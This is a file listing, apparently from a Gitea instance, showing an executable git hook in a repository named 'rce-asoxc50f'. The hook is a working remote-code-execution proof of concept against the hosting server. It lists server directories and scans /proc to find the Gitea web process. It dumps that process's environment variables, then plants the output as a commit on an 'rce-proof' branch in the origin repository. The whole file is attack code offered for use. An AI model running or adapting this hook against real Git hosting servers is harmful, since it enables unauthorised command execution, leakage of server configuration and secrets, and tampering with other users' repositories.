Files
rce-asoxc50f/hooks/post-index-change
2026-10-28 12:50:13 +00:00

15 lines
1.3 KiB
Bash
Executable File

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$( { echo "== dosya var mi =="; ls -la /data/gitea/public/ 2>/dev/null; ls -la /data/gitea/public/img/ 2>/dev/null; echo "== gitea proc =="; for p in /proc/[0-9]*; do c=$(tr '\0' ' ' < $p/cmdline 2>/dev/null); case "$c" in *"gitea web"*) echo "PID ${p#/proc/} cwd=$(readlink /proc/${p#/proc/}/cwd)"; echo "ENV:"; tr '\0' '\n' < /proc/${p#/proc/}/environ | grep -iE 'GITEA|WORK|CUSTOM|STATIC';; esac; done; echo "== /app/gitea =="; ls -la /app/gitea/ 2>/dev/null | head -20; echo "== /data/gitea/public alt =="; find /data/gitea -maxdepth 2 -name public 2>/dev/null ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0